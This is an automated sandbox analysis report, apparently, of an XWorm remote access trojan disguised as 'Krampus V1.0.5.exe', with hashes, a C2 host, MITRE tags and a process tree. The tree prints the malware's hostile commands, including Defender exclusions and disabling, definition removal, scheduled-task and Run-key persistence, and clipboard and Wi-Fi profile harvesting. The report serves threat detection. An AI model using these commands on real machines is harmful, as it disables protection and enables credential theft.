xworm | 9930d9ce76282ccf0b4940c6cbe8855ebf56f1af8edda8b6a630a4fb2f71860c

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
20-04-2024 12:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Krampus V1.0.5.exe
Size

7.4MB
MD5

9093196e3af056e67c1e391d177bf344
SHA1

7a4707c8f4bb6a2b7b189ccfe0b7837c579d105a
SHA256

9930d9ce76282ccf0b4940c6cbe8855ebf56f1af8edda8b6a630a4fb2f71860c
SHA512

f40489e694427711415a92d0ebdc0a2760f7f5d5398069b8006cdee5757bcfc3f106ed4b533c7e586a3571c5f0efba96296a9ea2ffec3ba43dce3a5e1b6922f8
SSDEEP

98304:oSc0SbSMt+dnz8JjHWxJHRLIHzcrmpliRYOeTjcIJ1IlhlWu8hK87N7Ceg6H0Sy4:JMt+dnIdHWxdKHoYOeXRihlWu8YgoPS

Score

10^/10

xworm persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

navigation-psychological.gl.at.ply.gg:32187

Attributes

Install_directory
%Userprofile%
install_file
discord.exe

Signatures

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Windows\System32\Discord Update.exe	family_xworm
behavioral1/memory/2308-53-0x0000000000670000-0x0000000000698000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeBuilt.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Krampus V1.0.5.exeDiscord Update.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	Krampus V1.0.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	Discord Update.exe

Drops startup file 2 IoCs

Processes:

Discord Update.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\discord.lnk	Discord Update.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\discord.lnk	Discord Update.exe

Executes dropped EXE 6 IoCs

Processes:

Discord Update.exeBuilt.exeBuilt.exerar.exediscord.exediscord.exe

pid process

2308 Discord Update.exe
4304 Built.exe
1396 Built.exe
3160 rar.exe
1948 discord.exe
868 discord.exe

pid	process
2308	Discord Update.exe
4304	Built.exe
1396	Built.exe
3160	rar.exe
1948	discord.exe
868	discord.exe

Loads dropped DLL 17 IoCs

Processes:

Built.exe

pid	process
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe
1396	Built.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI43042\python311.dll	upx
behavioral1/memory/1396-111-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_ssl.pyd	upx
behavioral1/memory/1396-133-0x00007FFD07C40000-0x00007FFD07C64000-memory.dmp	upx
behavioral1/memory/1396-134-0x00007FFD08940000-0x00007FFD0894F000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libcrypto-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\unicodedata.pyd	upx
behavioral1/memory/1396-156-0x00007FFD08730000-0x00007FFD08749000-memory.dmp	upx
behavioral1/memory/1396-157-0x00007FFD072C0000-0x00007FFD072E3000-memory.dmp	upx
behavioral1/memory/1396-155-0x00007FFD072F0000-0x00007FFD0731D000-memory.dmp	upx
behavioral1/memory/1396-159-0x00007FFD07550000-0x00007FFD07569000-memory.dmp	upx
behavioral1/memory/1396-160-0x00007FFD07C30000-0x00007FFD07C3D000-memory.dmp	upx
behavioral1/memory/1396-162-0x00007FFCF4800000-0x00007FFCF48CD000-memory.dmp	upx
behavioral1/memory/1396-163-0x00007FFCF2AA0000-0x00007FFCF2FC9000-memory.dmp	upx
behavioral1/memory/1396-165-0x00007FFD07260000-0x00007FFD07274000-memory.dmp	upx
behavioral1/memory/1396-166-0x00007FFD07920000-0x00007FFD0792D000-memory.dmp	upx
behavioral1/memory/1396-161-0x00007FFD07280000-0x00007FFD072B3000-memory.dmp	upx
behavioral1/memory/1396-158-0x00007FFCF3DF0000-0x00007FFCF3F66000-memory.dmp	upx
behavioral1/memory/1396-167-0x00007FFCF3CD0000-0x00007FFCF3DEC000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libffi-8.dll	upx
behavioral1/memory/1396-391-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp	upx
behavioral1/memory/1396-418-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp	upx
behavioral1/memory/1396-527-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Krampus V1.0.5.exeDiscord Update.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test = "C:\\Windows\\System32\\test.bat"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord Update = "C:\\Windows\\System32\\Discord Update.exe"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Built = "C:\\Windows\\System32\\Built.exe"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\discord = "C:\\Users\\Admin\\discord.exe"	Discord Update.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

238 discord.com
64 discord.com
65 discord.com
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 ip-api.com
45 ip-api.com
62 ip-api.com

flow	ioc
238	discord.com
64	discord.com
65	discord.com

flow	ioc
17	ip-api.com
45	ip-api.com
62	ip-api.com

Drops file in System32 directory 6 IoCs

Processes:

Krampus V1.0.5.exe

description	ioc	process
File created	C:\Windows\System32\test.bat	Krampus V1.0.5.exe
File opened for modification	C:\Windows\System32\test.bat	Krampus V1.0.5.exe
File created	C:\Windows\System32\Discord Update.exe	Krampus V1.0.5.exe
File opened for modification	C:\Windows\System32\Discord Update.exe	Krampus V1.0.5.exe
File created	C:\Windows\System32\Built.exe	Krampus V1.0.5.exe
File opened for modification	C:\Windows\System32\Built.exe	Krampus V1.0.5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4744 schtasks.exe
4456 schtasks.exe
2440 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

468 WMIC.exe
Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

4356 tasklist.exe
5000 tasklist.exe
5784 tasklist.exe
4080 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

5792 systeminfo.exe

pid	process
4744	schtasks.exe
4456	schtasks.exe
2440	schtasks.exe

pid	process
468	WMIC.exe

pid	process
4356	tasklist.exe
5000	tasklist.exe
5784	tasklist.exe
4080	tasklist.exe

pid	process
5792	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeDiscord Update.exepowershell.exe

pid	process
1756	powershell.exe
1756	powershell.exe
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe
3648	powershell.exe
3648	powershell.exe
3648	powershell.exe
3648	powershell.exe
3648	powershell.exe
4644	powershell.exe
4644	powershell.exe
2604	powershell.exe
2604	powershell.exe
4644	powershell.exe
5684	powershell.exe
5684	powershell.exe
3648	powershell.exe
3648	powershell.exe
2604	powershell.exe
5684	powershell.exe
5968	powershell.exe
5968	powershell.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe
5968	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
5420	powershell.exe
5420	powershell.exe
5420	powershell.exe
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
2776	powershell.exe
2776	powershell.exe
2776	powershell.exe
2308	Discord Update.exe
2308	Discord Update.exe
3936	powershell.exe
3936	powershell.exe
3936	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Krampus V1.0.5.exepowershell.exepowershell.exeDiscord Update.exepowershell.exepowershell.exetasklist.exetasklist.exepowershell.exepowershell.exepowershell.exeWMIC.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exetasklist.exepowershell.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1420	Krampus V1.0.5.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	2308	Discord Update.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	5000	tasklist.exe
Token: SeDebugPrivilege	4356	tasklist.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	5684	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	WMIC.exe
Token: SeSecurityPrivilege	5776	WMIC.exe
Token: SeTakeOwnershipPrivilege	5776	WMIC.exe
Token: SeLoadDriverPrivilege	5776	WMIC.exe
Token: SeSystemProfilePrivilege	5776	WMIC.exe
Token: SeSystemtimePrivilege	5776	WMIC.exe
Token: SeProfSingleProcessPrivilege	5776	WMIC.exe
Token: SeIncBasePriorityPrivilege	5776	WMIC.exe
Token: SeCreatePagefilePrivilege	5776	WMIC.exe
Token: SeBackupPrivilege	5776	WMIC.exe
Token: SeRestorePrivilege	5776	WMIC.exe
Token: SeShutdownPrivilege	5776	WMIC.exe
Token: SeDebugPrivilege	5776	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5776	WMIC.exe
Token: SeRemoteShutdownPrivilege	5776	WMIC.exe
Token: SeUndockPrivilege	5776	WMIC.exe
Token: SeManageVolumePrivilege	5776	WMIC.exe
Token: 33	5776	WMIC.exe
Token: 34	5776	WMIC.exe
Token: 35	5776	WMIC.exe
Token: 36	5776	WMIC.exe
Token: SeDebugPrivilege	5784	tasklist.exe
Token: SeDebugPrivilege	5968	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	WMIC.exe
Token: SeSecurityPrivilege	5776	WMIC.exe
Token: SeTakeOwnershipPrivilege	5776	WMIC.exe
Token: SeLoadDriverPrivilege	5776	WMIC.exe
Token: SeSystemProfilePrivilege	5776	WMIC.exe
Token: SeSystemtimePrivilege	5776	WMIC.exe
Token: SeProfSingleProcessPrivilege	5776	WMIC.exe
Token: SeIncBasePriorityPrivilege	5776	WMIC.exe
Token: SeCreatePagefilePrivilege	5776	WMIC.exe
Token: SeBackupPrivilege	5776	WMIC.exe
Token: SeRestorePrivilege	5776	WMIC.exe
Token: SeShutdownPrivilege	5776	WMIC.exe
Token: SeDebugPrivilege	5776	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5776	WMIC.exe
Token: SeRemoteShutdownPrivilege	5776	WMIC.exe
Token: SeUndockPrivilege	5776	WMIC.exe
Token: SeManageVolumePrivilege	5776	WMIC.exe
Token: 33	5776	WMIC.exe
Token: 34	5776	WMIC.exe
Token: 35	5776	WMIC.exe
Token: 36	5776	WMIC.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	3452	powershell.exe
Token: SeDebugPrivilege	4080	tasklist.exe
Token: SeDebugPrivilege	6060	powershell.exe
Token: SeDebugPrivilege	5420	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3928	WMIC.exe
Token: SeSecurityPrivilege	3928	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Discord Update.exe

pid process

2308 Discord Update.exe

pid	process
2308	Discord Update.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Krampus V1.0.5.exeBuilt.exeBuilt.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1420 wrote to memory of 1756	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 1756	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 4416	1420	Krampus V1.0.5.exe	cmd.exe
PID 1420 wrote to memory of 4416	1420	Krampus V1.0.5.exe	cmd.exe
PID 1420 wrote to memory of 1184	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 1184	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 4744	1420	Krampus V1.0.5.exe	schtasks.exe
PID 1420 wrote to memory of 4744	1420	Krampus V1.0.5.exe	schtasks.exe
PID 1420 wrote to memory of 2308	1420	Krampus V1.0.5.exe	Discord Update.exe
PID 1420 wrote to memory of 2308	1420	Krampus V1.0.5.exe	Discord Update.exe
PID 1420 wrote to memory of 3648	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 3648	1420	Krampus V1.0.5.exe	powershell.exe
PID 1420 wrote to memory of 4456	1420	Krampus V1.0.5.exe	schtasks.exe
PID 1420 wrote to memory of 4456	1420	Krampus V1.0.5.exe	schtasks.exe
PID 1420 wrote to memory of 4304	1420	Krampus V1.0.5.exe	Built.exe
PID 1420 wrote to memory of 4304	1420	Krampus V1.0.5.exe	Built.exe
PID 4304 wrote to memory of 1396	4304	Built.exe	Built.exe
PID 4304 wrote to memory of 1396	4304	Built.exe	Built.exe
PID 1396 wrote to memory of 1520	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 1520	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 5036	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 5036	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 3016	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 3016	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 2240	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 2240	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 956	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 956	1396	Built.exe	cmd.exe
PID 2240 wrote to memory of 4356	2240	cmd.exe	tasklist.exe
PID 2240 wrote to memory of 4356	2240	cmd.exe	tasklist.exe
PID 1520 wrote to memory of 3648	1520	cmd.exe	powershell.exe
PID 1520 wrote to memory of 3648	1520	cmd.exe	powershell.exe
PID 5036 wrote to memory of 2604	5036	cmd.exe	powershell.exe
PID 5036 wrote to memory of 2604	5036	cmd.exe	powershell.exe
PID 956 wrote to memory of 5000	956	cmd.exe	tasklist.exe
PID 956 wrote to memory of 5000	956	cmd.exe	tasklist.exe
PID 3016 wrote to memory of 4644	3016	cmd.exe	powershell.exe
PID 3016 wrote to memory of 4644	3016	cmd.exe	powershell.exe
PID 1396 wrote to memory of 3196	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 3196	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 1456	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 1456	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 2248	1396	Built.exe	Conhost.exe
PID 1396 wrote to memory of 2248	1396	Built.exe	Conhost.exe
PID 1396 wrote to memory of 4888	1396	Built.exe	wmiprvse.exe
PID 1396 wrote to memory of 4888	1396	Built.exe	wmiprvse.exe
PID 1396 wrote to memory of 1644	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 1644	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 972	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 972	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 660	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 660	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 960	1396	Built.exe	cmd.exe
PID 1396 wrote to memory of 960	1396	Built.exe	cmd.exe
PID 1456 wrote to memory of 5684	1456	cmd.exe	powershell.exe
PID 1456 wrote to memory of 5684	1456	cmd.exe	powershell.exe
PID 3196 wrote to memory of 5776	3196	cmd.exe	WMIC.exe
PID 3196 wrote to memory of 5776	3196	cmd.exe	WMIC.exe
PID 4888 wrote to memory of 5768	4888	cmd.exe	tree.com
PID 4888 wrote to memory of 5768	4888	cmd.exe	tree.com
PID 1644 wrote to memory of 5760	1644	cmd.exe	netsh.exe
PID 1644 wrote to memory of 5760	1644	cmd.exe	netsh.exe
PID 972 wrote to memory of 5792	972	cmd.exe	systeminfo.exe
PID 972 wrote to memory of 5792	972	cmd.exe	systeminfo.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

5728 attrib.exe
5872 attrib.exe

pid	process
5728	attrib.exe
5872	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.5.exe
"C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.5.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\test.bat'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Windows\System32\test.bat" "
2⤵
PID:4416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Discord Update.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1184

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /F /TN "Discord Update" /SC ONLOGON /TR "C:\Windows\System32\Discord Update.exe" /RL HIGHEST
2⤵
- Creates scheduled task(s)
PID:4744

C:\Windows\System32\Discord Update.exe
"C:\Windows\System32\Discord Update.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Discord Update.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord Update.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\discord.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'discord.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3580

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "discord" /tr "C:\Users\Admin\discord.exe"
3⤵
- Creates scheduled task(s)
PID:2440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3648

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /F /TN "Built" /SC ONLOGON /TR "C:\Windows\System32\Built.exe" /RL HIGHEST
2⤵
- Creates scheduled task(s)
PID:4456

C:\Windows\System32\Built.exe
"C:\Windows\System32\Built.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\System32\Built.exe
"C:\Windows\System32\Built.exe"
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'"
4⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
4⤵
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍  .scr'"
4⤵
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍  .scr'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
4⤵
- Suspicious use of WriteProcessMemory
PID:3196

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:5776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
4⤵
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5684

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
PID:2248

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
- Suspicious use of WriteProcessMemory
PID:4888

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:5768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
4⤵
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\system32\netsh.exe
netsh wlan show profile
5⤵
PID:5760

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
4⤵
- Suspicious use of WriteProcessMemory
PID:972

C:\Windows\system32\systeminfo.exe
systeminfo
5⤵
- Gathers system information
PID:5792

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
4⤵
PID:960

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
5⤵
PID:5844

C:\Windows\system32\cmd.exe
